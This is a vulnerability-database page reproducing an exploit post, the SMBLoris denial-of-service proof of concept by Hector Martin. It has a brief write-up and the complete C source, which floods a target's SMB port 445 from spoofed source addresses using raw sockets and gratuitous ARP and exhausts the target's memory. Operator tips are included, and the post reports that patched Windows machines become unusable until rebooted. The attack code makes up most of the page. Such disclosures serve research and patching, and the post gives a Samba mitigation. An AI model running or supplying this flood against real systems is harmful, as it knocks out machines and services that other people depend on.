Lucene search
K

SMBLoris Denial Of Service

🗓️ 03 Aug 2017 00:00:00Reported by Hector MartinType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 47 Views

SMBLoris Denial of Service using PoC opensource code for Linux that affects Windows and Samba/Linux. The attack renders Windows unusable, causing persistent breakage and requires hard reboot to restore proper functioning

Code
`PoC (runs under Linux):  
https://gist.github.com/marcan/6a2d14b0e3eaa5de1795a763fb58641e  
https://twitter.com/marcan42/status/892706927720808449  
https://twitter.com/marcan42/status/892716247502082051  
https://twitter.com/marcan42/status/892785957849645056  
  
Original disclosure:  
https://smbloris.com/  
  
There's a lot of talk about SMBLoris but nobody seems to have written a  
public efficient PoC yet, so I gave it a shot. A single instance takes  
down a fully patched Windows 10 Pro box with 8GiB of RAM in less than 10  
seconds.  
  
I tried using Scapy initially, but it's dog slow, so I went with C. The  
PoC uses raw sockets to bypass the local TCP stack. It supports  
attacking from multiple source IPs (not requiring them to be bound to  
the adapter). There is rudimentary ARP support (gratuitous only, no real  
reply functionality). There is no throttling so some packets may be dropped.  
  
I haven't seen it completely deadlock a Windows machine yet (it keeps  
accepting connections and responding to pings), but it renders it  
completely unusable during the attack and several minutes after it  
ceases, and causes various kinds of persistent breakage (UI restarts,  
complete UI crashes, inability to start applications, I/O errors due to  
failure to allocate memory in the storage controller driver, etc.) where  
the only way to get the system behaving properly again is a hard reboot.  
  
On Samba/Linux it just causes typical recoverable Linux OOM behavior  
(modulo some processes getting OOM-killed) since smbd forks for each  
connection and consumes memory. This can be mitigated with 'max smb  
processes = 1000' in smb.conf.  
  
--   
Hector Martin "marcan" ([email protected])  
Public Key: https://mrcn.st/pub  
  
  
  
----- PoC -----  
  
/* SMBLoris attack proof-of-concept  
*   
* Copyright 2017 Hector Martin "marcan" <[email protected]>  
*  
* Licensed under the terms of the 2-clause BSD license.  
*  
* This is a proof of concept of a publicly disclosed vulnerability.  
* Please do not go around randomly DoSing people with it.  
*  
* Tips: do not use your local IP as source, or if you do, use iptables to block  
* outbound RST packets. You may want to increase your local conntrack limit:  
* echo 1200000 > /proc/sys/net/netfilter/nf_conntrack_max  
*/  
  
#include <stdio.h>  
#include <string.h>  
#include <stdint.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <errno.h>  
  
#include <netinet/ip.h>  
#include <netinet/tcp.h>  
#include <sys/socket.h>  
#include <linux/if_packet.h>  
#include <net/ethernet.h>  
#include <sys/ioctl.h>  
#include <net/if.h>  
#include <net/if_arp.h>  
  
#define CHECK(cond, name) if (cond) { perror(name); exit(1); }  
  
#define MIN_PORT 1  
#define MAX_PORT 65535  
  
struct {  
char *iface;  
uint8_t hwaddr[6];  
uint32_t src_min;  
uint32_t src_max;  
uint32_t dst;  
struct sockaddr_in dst_sa;  
} cfg;  
  
static void usage(const char *argv0) {  
fprintf(stderr, "Usage: %s <iface> <src_ip_start> <src_ip_end> <dst_ip>\n", argv0);  
exit(1);  
}  
  
uint32_t parse_ip(const char *s) {  
int a,b,c,d;  
if (sscanf(s, "%d.%d.%d.%d", &a, &b, &c, &d) != 4) {  
fprintf(stderr, "Failed to parse IPv4 address %s\n", s);  
exit(1);  
}  
return (a<<24) | (b<<16) | (c<<8) | d;  
}  
  
uint16_t fold(uint32_t v) {  
return (v & 0xffff) + (v >> 16);  
}  
  
uint32_t csum(void *buf, int len)  
{  
uint32_t s = 0;  
uint16_t *p = buf;  
while (len) {  
s += *p++;  
len -= 2;  
}  
return s;  
}  
  
void get_hwaddr(const char *iface, uint8_t *hwaddr)  
{  
int sock = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ARP));  
CHECK(sock < 0, "socket(PF_INET, SOCK_PACKET, ETH_P_ARP)");  
struct ifreq req;  
strncpy(req.ifr_name, iface, sizeof(req.ifr_name));  
CHECK(ioctl(sock, SIOCGIFHWADDR, &req) < 0, "ioctl(SIOCGIFHWADDR)");  
memcpy(cfg.hwaddr, req.ifr_hwaddr.sa_data, 6);  
close(sock);  
}  
  
void send_arp(uint32_t addr)  
{  
struct sockaddr sa;  
strncpy(sa.sa_data, cfg.iface, sizeof(sa.sa_data));  
  
struct {  
struct ether_header eth;  
struct arphdr arp;  
uint8_t ar_sha[6];  
uint32_t ar_sip;  
uint8_t ar_tha[6];  
uint32_t ar_tip;  
} __attribute__((packed)) pkt;  
memset(&pkt, 0, sizeof(pkt));  
memset(&pkt.eth.ether_dhost, 0xff, 6);  
memcpy(&pkt.eth.ether_shost, cfg.hwaddr, 6);  
pkt.eth.ether_type = htons(ETHERTYPE_ARP);  
  
pkt.arp.ar_hrd = htons(1);  
pkt.arp.ar_pro = htons(ETH_P_IP);  
pkt.arp.ar_hln = 6;  
pkt.arp.ar_pln = 4;  
pkt.arp.ar_op = htons(ARPOP_REQUEST);  
memcpy(pkt.ar_sha, cfg.hwaddr, ETH_ALEN);  
pkt.ar_sip = htonl(addr);  
memset(pkt.ar_tha, 0xff, ETH_ALEN);  
pkt.ar_tip = htonl(addr);  
  
int sock = socket(PF_INET, SOCK_PACKET, htons(ETH_P_ARP));  
CHECK (sock < 0, "socket(PF_INET, SOCK_PACKET, ETH_P_ARP)");  
CHECK(sendto(sock, &pkt, sizeof(pkt), 0, &sa, sizeof(sa)) < 0, "sendto(gratuitous ARP)");  
close(sock);  
}  
  
int sent_packets = 0, errors = 0, replies = 0, rsts = 0, last_errno = 0;  
  
void process_replies(int sock, int rsock)  
{  
struct {  
struct iphdr ip;  
struct tcphdr tcp;  
uint8_t data[32];  
} reply;  
  
while (1) {  
int ret = recv(rsock, &reply, sizeof(reply), 0);  
if (ret < 0 && errno == EAGAIN)  
return;  
CHECK(ret < 0, "recv");  
  
if (reply.ip.saddr != htonl(cfg.dst))  
continue;  
if (ntohl(reply.ip.daddr) < cfg.src_min ||  
ntohl(reply.ip.daddr) > cfg.src_max)  
continue;  
if (reply.ip.protocol != IPPROTO_TCP || reply.tcp.source != htons(445))  
continue;  
if (reply.tcp.rst || reply.tcp.fin) {  
rsts++;  
continue;  
}  
if (!reply.tcp.ack || !reply.tcp.syn)  
continue;  
  
struct {  
struct iphdr ip;  
struct tcphdr tcp;  
uint8_t payload[4];  
} __attribute__((packed)) pkt;  
  
memset(&pkt, 0, sizeof(pkt));  
  
pkt.ip.ihl = 5;  
pkt.ip.version = 4;  
pkt.ip.ttl = 128;  
pkt.ip.protocol = IPPROTO_TCP;  
pkt.ip.saddr = reply.ip.daddr;  
pkt.ip.daddr = htonl(cfg.dst);  
pkt.tcp.dest = htons(445);  
pkt.tcp.source = reply.tcp.dest;  
pkt.tcp.doff = 5;  
pkt.tcp.window = htons(5840);  
pkt.tcp.ack = 1;  
pkt.tcp.ack_seq = htonl(ntohl(reply.tcp.seq) + 1);  
pkt.tcp.seq = reply.tcp.ack_seq;  
memcpy(pkt.payload, "\x00\x01\xff\xff", 4);  
  
uint32_t sum = csum(&pkt.ip.saddr, 8) + htons(IPPROTO_TCP) + htons(sizeof(struct tcphdr) + 4) + csum(&pkt.tcp, sizeof(struct tcphdr) + 4);  
pkt.tcp.check = 0xffff - fold(sum);  
if (pkt.tcp.check == 0)  
pkt.tcp.check = 0xffff;  
ret = sendto(sock, &pkt, sizeof pkt, 0, (struct sockaddr*)&cfg.dst_sa, sizeof(cfg.dst_sa));  
if (ret < 0) {  
errors++;  
last_errno = errno;  
} else {  
replies++;  
}  
}  
}  
  
int main(int argc, char **argv)  
{  
if (argc != 5) {  
usage(argv[0]);  
}  
  
cfg.iface = argv[1];  
cfg.src_min = parse_ip(argv[2]);  
cfg.src_max = parse_ip(argv[3]);  
cfg.dst = parse_ip(argv[4]);  
  
get_hwaddr(cfg.iface, cfg.hwaddr);  
fprintf(stderr, "Local MAC address: %02x:%02x:%02x:%02x:%02x:%02x\n",  
cfg.hwaddr[0], cfg.hwaddr[1], cfg.hwaddr[2],  
cfg.hwaddr[3], cfg.hwaddr[4], cfg.hwaddr[5]);  
  
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);  
CHECK(sock < 0, "socket(AF_INET, SOCK_RAW, IPPROTO_RAW)");  
  
int rsock = socket(AF_PACKET, SOCK_DGRAM | SOCK_NONBLOCK, htons(ETH_P_IP));  
CHECK(rsock < 0, "socket(AF_INET, SOCK_DGRAM, ETH_P_IP)");  
  
struct {  
struct iphdr ip;  
struct tcphdr tcp;  
} __attribute__((packed)) pkt;  
  
memset(&pkt, 0, sizeof(pkt));  
  
pkt.ip.ihl = 5;  
pkt.ip.version = 4;  
pkt.ip.ttl = 128;  
pkt.ip.protocol = IPPROTO_TCP;  
pkt.ip.daddr = htonl(cfg.dst);  
pkt.tcp.dest = htons(445);  
pkt.tcp.doff = 5;  
pkt.tcp.window = htons(5840);  
pkt.tcp.syn = 1;  
  
memset(&cfg.dst_sa, 0, sizeof(cfg.dst_sa));  
  
cfg.dst_sa.sin_family = AF_INET;  
cfg.dst_sa.sin_port = 0;  
cfg.dst_sa.sin_addr.s_addr = htonl(cfg.dst);  
  
uint32_t src;  
int port;  
for (src = cfg.src_min; src <= cfg.src_max; src++) {  
pkt.ip.saddr = htonl(src);  
pkt.tcp.source = 0;  
pkt.tcp.check = 0;  
uint32_t sum = csum(&pkt.ip.saddr, 8) + htons(IPPROTO_TCP) + htons(sizeof(struct tcphdr)) + csum(&pkt.tcp, sizeof(struct tcphdr));  
send_arp(src);  
for (port = MIN_PORT; port <= MAX_PORT; port++) {  
pkt.tcp.source = htons(port);  
pkt.tcp.check = 0xffff - fold(sum + htons(port));  
if (pkt.tcp.check == 0)  
pkt.tcp.check = 0xffff;  
int ret = sendto(sock, &pkt, sizeof pkt, 0, (struct sockaddr*)&cfg.dst_sa, sizeof(cfg.dst_sa));  
if (ret < 0) {  
errors++;  
last_errno = errno;  
}  
sent_packets++;  
if (sent_packets % 100 == 0) {  
fprintf(stderr, "\r%08x:%04x %d sent, %d errors (%d), %d replies, %d resets", src, port, sent_packets, errors, last_errno, replies, rsts);  
send_arp(src);  
}  
process_replies(sock, rsock);  
}  
}  
fprintf(stderr, "\n");  
return 0;  
}  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

03 Aug 2017 00:00Current
0.1Low risk
Vulners AI Score0.1
47